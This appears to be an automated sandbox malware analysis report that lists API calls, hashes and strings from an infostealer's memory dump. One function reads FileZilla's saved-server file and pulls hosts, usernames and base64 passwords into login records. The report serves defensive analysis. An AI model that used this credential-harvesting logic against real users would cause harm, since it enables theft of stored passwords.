Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: ff9f3fb77af2488786a742b30a7a77c7a6675fe12b7944dcc27658a291e6e945
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: 08F04FB5D44208AFC710DFD8DD49BAEBBB8EB05711F10025AFA05A2680C77815448BA2

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction ID: a8b5f4e8781596c88644d8aa2969b9d6e82c50da38cf1cac8898b5ca04c80d98
Opcode Fuzzy Hash: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction Fuzzy Hash: F4D05E7C94030CEBCB14EFE0D9496DDBB79FB0D311F001559ED0572340EA306481CAA6

Function 00419C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01182720), ref: 00419C2D
GetProcAddress.KERNEL32(74DD0000,011826E0), ref: 00419C45
GetProcAddress.KERNEL32(74DD0000,0118A798), ref: 00419C5E
GetProcAddress.KERNEL32(74DD0000,0118A7C8), ref: 00419C76
GetProcAddress.KERNEL32(74DD0000,0118A7E0), ref: 00419C8E
GetProcAddress.KERNEL32(74DD0000,0118A840), ref: 00419CA7
GetProcAddress.KERNEL32(74DD0000,01184110), ref: 00419CBF
GetProcAddress.KERNEL32(74DD0000,0118A858), ref: 00419CD7
GetProcAddress.KERNEL32(74DD0000,0118A600), ref: 00419CF0
GetProcAddress.KERNEL32(74DD0000,0118A630), ref: 00419D08
GetProcAddress.KERNEL32(74DD0000,0118A570), ref: 00419D20
GetProcAddress.KERNEL32(74DD0000,011827A0), ref: 00419D39
GetProcAddress.KERNEL32(74DD0000,01182780), ref: 00419D51
GetProcAddress.KERNEL32(74DD0000,01182800), ref: 00419D69
GetProcAddress.KERNEL32(74DD0000,01182980), ref: 00419D82
GetProcAddress.KERNEL32(74DD0000,0118A5A0), ref: 00419D9A
GetProcAddress.KERNEL32(74DD0000,0118A618), ref: 00419DB2
GetProcAddress.KERNEL32(74DD0000,01183E90), ref: 00419DCB
GetProcAddress.KERNEL32(74DD0000,011825C0), ref: 00419DE3
GetProcAddress.KERNEL32(74DD0000,0118A5D0), ref: 00419DFB
GetProcAddress.KERNEL32(74DD0000,0118A648), ref: 00419E14
GetProcAddress.KERNEL32(74DD0000,0118A660), ref: 00419E2C
GetProcAddress.KERNEL32(74DD0000,0118A678), ref: 00419E44
GetProcAddress.KERNEL32(74DD0000,01182820), ref: 00419E5D
GetProcAddress.KERNEL32(74DD0000,0118A690), ref: 00419E75
GetProcAddress.KERNEL32(74DD0000,0118A6A8), ref: 00419E8D
GetProcAddress.KERNEL32(74DD0000,0118A900), ref: 00419EA6
GetProcAddress.KERNEL32(74DD0000,0118A918), ref: 00419EBE
GetProcAddress.KERNEL32(74DD0000,0118A930), ref: 00419ED6
GetProcAddress.KERNEL32(74DD0000,0118A8E8), ref: 00419EEF
GetProcAddress.KERNEL32(74DD0000,0118A870), ref: 00419F07
GetProcAddress.KERNEL32(74DD0000,0118A888), ref: 00419F1F
GetProcAddress.KERNEL32(74DD0000,0118A8A0), ref: 00419F38
GetProcAddress.KERNEL32(74DD0000,01190B58), ref: 00419F50
GetProcAddress.KERNEL32(74DD0000,0118A8D0), ref: 00419F68
GetProcAddress.KERNEL32(74DD0000,0118A8B8), ref: 00419F81
GetProcAddress.KERNEL32(74DD0000,011825E0), ref: 00419F99
GetProcAddress.KERNEL32(74DD0000,01190FD0), ref: 00419FB1
GetProcAddress.KERNEL32(74DD0000,01182760), ref: 00419FCA
GetProcAddress.KERNEL32(74DD0000,01190EF8), ref: 00419FE2
GetProcAddress.KERNEL32(74DD0000,01191030), ref: 00419FFA
GetProcAddress.KERNEL32(74DD0000,01182600), ref: 0041A013
GetProcAddress.KERNEL32(74DD0000,01182640), ref: 0041A02B
LoadLibraryA.KERNEL32(01190E38,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A03D
LoadLibraryA.KERNEL32(01191018,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A04E
LoadLibraryA.KERNEL32(01190E08,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A060
LoadLibraryA.KERNEL32(01190F88,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A072
LoadLibraryA.KERNEL32(01190FE8,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A083
LoadLibraryA.KERNEL32(01190F10,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A095
LoadLibraryA.KERNEL32(01191000,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0A7
LoadLibraryA.KERNEL32(01190F28,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0B8
GetProcAddress.KERNEL32(75290000,011827C0), ref: 0041A0DA
GetProcAddress.KERNEL32(75290000,01190EC8), ref: 0041A0F2
GetProcAddress.KERNEL32(75290000,0118AA88), ref: 0041A10A
GetProcAddress.KERNEL32(75290000,01190DA8), ref: 0041A123
GetProcAddress.KERNEL32(75290000,01182900), ref: 0041A13B
GetProcAddress.KERNEL32(6FC70000,011840C0), ref: 0041A160
GetProcAddress.KERNEL32(6FC70000,01182740), ref: 0041A179
GetProcAddress.KERNEL32(6FC70000,01183F08), ref: 0041A191
GetProcAddress.KERNEL32(6FC70000,01191048), ref: 0041A1A9
GetProcAddress.KERNEL32(6FC70000,01190E20), ref: 0041A1C2
GetProcAddress.KERNEL32(6FC70000,01182620), ref: 0041A1DA
GetProcAddress.KERNEL32(6FC70000,01182960), ref: 0041A1F2
GetProcAddress.KERNEL32(6FC70000,01190E98), ref: 0041A20B
GetProcAddress.KERNEL32(752C0000,01182920), ref: 0041A22C
GetProcAddress.KERNEL32(752C0000,011827E0), ref: 0041A244
GetProcAddress.KERNEL32(752C0000,01190E68), ref: 0041A25D
GetProcAddress.KERNEL32(752C0000,01190FA0), ref: 0041A275
GetProcAddress.KERNEL32(752C0000,01182840), ref: 0041A28D
GetProcAddress.KERNEL32(74EC0000,01183F30), ref: 0041A2B3
GetProcAddress.KERNEL32(74EC0000,01184188), ref: 0041A2CB
GetProcAddress.KERNEL32(74EC0000,01190D60), ref: 0041A2E3
GetProcAddress.KERNEL32(74EC0000,011828A0), ref: 0041A2FC
GetProcAddress.KERNEL32(74EC0000,01182700), ref: 0041A314
GetProcAddress.KERNEL32(74EC0000,011841B0), ref: 0041A32C
GetProcAddress.KERNEL32(75BD0000,01190D78), ref: 0041A352
GetProcAddress.KERNEL32(75BD0000,01182940), ref: 0041A36A
GetProcAddress.KERNEL32(75BD0000,0118AA38), ref: 0041A382
GetProcAddress.KERNEL32(75BD0000,01190DF0), ref: 0041A39B
GetProcAddress.KERNEL32(75BD0000,01190E50), ref: 0041A3B3
GetProcAddress.KERNEL32(75BD0000,01182860), ref: 0041A3CB
GetProcAddress.KERNEL32(75BD0000,01182880), ref: 0041A3E4
GetProcAddress.KERNEL32(75BD0000,01190F70), ref: 0041A3FC
GetProcAddress.KERNEL32(75BD0000,01190F40), ref: 0041A414
GetProcAddress.KERNEL32(75A70000,011828C0), ref: 0041A436
GetProcAddress.KERNEL32(75A70000,01190E80), ref: 0041A44E
GetProcAddress.KERNEL32(75A70000,01190D90), ref: 0041A466
GetProcAddress.KERNEL32(75A70000,01190EB0), ref: 0041A47F
GetProcAddress.KERNEL32(75A70000,01190FB8), ref: 0041A497
GetProcAddress.KERNEL32(75450000,011828E0), ref: 0041A4B8
GetProcAddress.KERNEL32(75450000,01182680), ref: 0041A4D1
GetProcAddress.KERNEL32(75DA0000,011825A0), ref: 0041A4F2
GetProcAddress.KERNEL32(75DA0000,01190DC0), ref: 0041A50A
GetProcAddress.KERNEL32(6F070000,01182660), ref: 0041A530
GetProcAddress.KERNEL32(6F070000,011826A0), ref: 0041A548
GetProcAddress.KERNEL32(6F070000,011826C0), ref: 0041A560
GetProcAddress.KERNEL32(6F070000,01190EE0), ref: 0041A579
GetProcAddress.KERNEL32(6F070000,01191368), ref: 0041A591
GetProcAddress.KERNEL32(6F070000,01191548), ref: 0041A5A9
GetProcAddress.KERNEL32(6F070000,01191308), ref: 0041A5C2
GetProcAddress.KERNEL32(6F070000,01191188), ref: 0041A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0041A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0041A607
GetProcAddress.KERNEL32(75AF0000,01190F58), ref: 0041A629
GetProcAddress.KERNEL32(75AF0000,0118A9C8), ref: 0041A641
GetProcAddress.KERNEL32(75AF0000,01190DD8), ref: 0041A659
GetProcAddress.KERNEL32(75AF0000,01191078), ref: 0041A672
GetProcAddress.KERNEL32(75D90000,011911E8), ref: 0041A693
GetProcAddress.KERNEL32(6E420000,011910F0), ref: 0041A6B4
GetProcAddress.KERNEL32(6E420000,01191328), ref: 0041A6CD
GetProcAddress.KERNEL32(6E420000,01191060), ref: 0041A6E5
GetProcAddress.KERNEL32(6E420000,011910D8), ref: 0041A6FD

Strings

InternetSetOptionA, xrefs: 0041A5E5
HttpQueryInfoA, xrefs: 0041A5FC

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction ID: b148544ec257a615b167952e2e9b89b3667e8f5620887ecf26b211dda149ff7d
Opcode Fuzzy Hash: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction Fuzzy Hash: 02621DBD5C0200BFD364DFE8EE889A63BFBF74E701714A61AE609C3264D6399441DB52

Function 00407710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,004161C4,?), ref: 00407724
RtlAllocateHeap.NTDLL(00000000,?,004161C4,?), ref: 0040772B
lstrcatA.KERNEL32(?,0118E768,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8), ref: 004078DB
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004078EF
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407903
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407917
lstrcatA.KERNEL32(?,01191E80,?,004161C4,?), ref: 0040792B
lstrcatA.KERNEL32(?,01192060,?,004161C4,?), ref: 0040793F
lstrcatA.KERNEL32(?,01191DA8,?,004161C4,?), ref: 00407952
lstrcatA.KERNEL32(?,01191EB0,?,004161C4,?), ref: 00407966
lstrcatA.KERNEL32(?,01192550,?,004161C4,?), ref: 0040797A
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 0040798E
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004079A2
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004079B6
lstrcatA.KERNEL32(?,01191E80,?,004161C4,?), ref: 004079C9
lstrcatA.KERNEL32(?,01192060,?,004161C4,?), ref: 004079DD
lstrcatA.KERNEL32(?,01191DA8,?,004161C4,?), ref: 004079F1
lstrcatA.KERNEL32(?,01191EB0,?,004161C4,?), ref: 00407A04
lstrcatA.KERNEL32(?,011925B8,?,004161C4,?), ref: 00407A18
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A2C
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A40
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A54
lstrcatA.KERNEL32(?,01191E80,?,004161C4,?), ref: 00407A68
lstrcatA.KERNEL32(?,01192060,?,004161C4,?), ref: 00407A7B
lstrcatA.KERNEL32(?,01191DA8,?,004161C4,?), ref: 00407A8F
lstrcatA.KERNEL32(?,01191EB0,?,004161C4,?), ref: 00407AA3
lstrcatA.KERNEL32(?,01192620,?,004161C4,?), ref: 00407AB6
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407ACA
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407ADE
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407AF2
lstrcatA.KERNEL32(?,01191E80,?,004161C4,?), ref: 00407B06
lstrcatA.KERNEL32(?,01192060,?,004161C4,?), ref: 00407B1A
lstrcatA.KERNEL32(?,01191DA8,?,004161C4,?), ref: 00407B2D
lstrcatA.KERNEL32(?,01191EB0,?,004161C4,?), ref: 00407B41
lstrcatA.KERNEL32(?,01192688,?,004161C4,?), ref: 00407B55
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B69
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B7D
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B91
lstrcatA.KERNEL32(?,01191E80,?,004161C4,?), ref: 00407BA4
lstrcatA.KERNEL32(?,01192060,?,004161C4,?), ref: 00407BB8
lstrcatA.KERNEL32(?,01191DA8,?,004161C4,?), ref: 00407BCC
lstrcatA.KERNEL32(?,01191EB0,?,004161C4,?), ref: 00407BDF
lstrcatA.KERNEL32(?,011926F0,?,004161C4,?), ref: 00407BF3
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C07
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C1B
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C2F
lstrcatA.KERNEL32(?,01191E80,?,004161C4,?), ref: 00407C43
lstrcatA.KERNEL32(?,01192060,?,004161C4,?), ref: 00407C56
lstrcatA.KERNEL32(?,01191DA8,?,004161C4,?), ref: 00407C6A
lstrcatA.KERNEL32(?,01191EB0,?,004161C4,?), ref: 00407C7E

Part of subcall function 004075D0: lstrcatA.KERNEL32(2D692020,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D692020,00000000,00000000), ref: 00407648
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D692020, : ), ref: 0040765A
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D692020,00000000,00000000,00000000), ref: 0040768F
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D692020,00421804), ref: 004076A0
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D692020,00000000,00000000,00000000), ref: 004076D3
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D692020,00421808), ref: 004076ED
Part of subcall function 004075D0: task.LIBCPMTD ref: 004076FB

lstrcatA.KERNEL32(?,01192928,?,00000104), ref: 00407E0B
lstrcatA.KERNEL32(?,011916A8), ref: 00407E1E
lstrlenA.KERNEL32(2D692020), ref: 00407E2B
lstrlenA.KERNEL32(2D692020), ref: 00407E3B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 6fcfd6c6baea700e61f3ac76ac6e2f698724bd4a5264edc9866c41ae3b3538d0
Instruction ID: e42d55f5272c4be8e3f59257355b8fca4430f3dac2d75aeea8cbf9ff20cdab91
Opcode Fuzzy Hash: 6fcfd6c6baea700e61f3ac76ac6e2f698724bd4a5264edc9866c41ae3b3538d0
Instruction Fuzzy Hash: 12324EBAD50314ABD715EBE0DC85DEA737DBB45700F005A9DF209A2080EE78E7858F56

Function 00410250 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

strtok_s.MSVCRT ref: 0041031B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBA,00420DB7,00420DB6,00420DB3), ref: 00410362
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00410385
lstrlenA.KERNEL32(00000000), ref: 00410393

Part of subcall function 004188E0: malloc.MSVCRT ref: 004188E8
Part of subcall function 004188E0: strncpy.MSVCRT ref: 00418903

StrStrA.SHLWAPI(00000000,<Port>), ref: 004103CF
lstrlenA.KERNEL32(00000000), ref: 004103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00410419
lstrlenA.KERNEL32(00000000), ref: 00410427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00410463
lstrlenA.KERNEL32(00000000), ref: 00410475
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410502
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041051A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410532
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041054A
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 00410562
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 00410571
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 00410580
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410593
lstrcatA.KERNEL32(?,00421678,?,?,00000000), ref: 004105A2
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105B5
lstrcatA.KERNEL32(?,0042167C,?,?,00000000), ref: 004105C4
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 004105D3
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105E6
lstrcatA.KERNEL32(?,00421688,?,?,00000000), ref: 004105F5
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00410604
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410617
lstrcatA.KERNEL32(?,00421698,?,?,00000000), ref: 00410626
lstrcatA.KERNEL32(?,0042169C,?,?,00000000), ref: 00410635
strtok_s.MSVCRT ref: 00410679
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 0041068E
memset.MSVCRT ref: 004106DD

Strings

browser: FileZilla, xrefs: 00410559
NA, xrefs: 0041072E, 004106AF, 004106B2
login: , xrefs: 004105CA
<Pass encoding="base64">, xrefs: 0041045A
NA, xrefs: 004102CC, 004102F2, 004102CF, 004102F5
profile: null, xrefs: 00410568
<User>, xrefs: 00410410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004102A4
<Host>, xrefs: 0041037C
url: , xrefs: 00410577
<Port>, xrefs: 004103C6
password: , xrefs: 004105FB

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$NA$NA$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-514892060
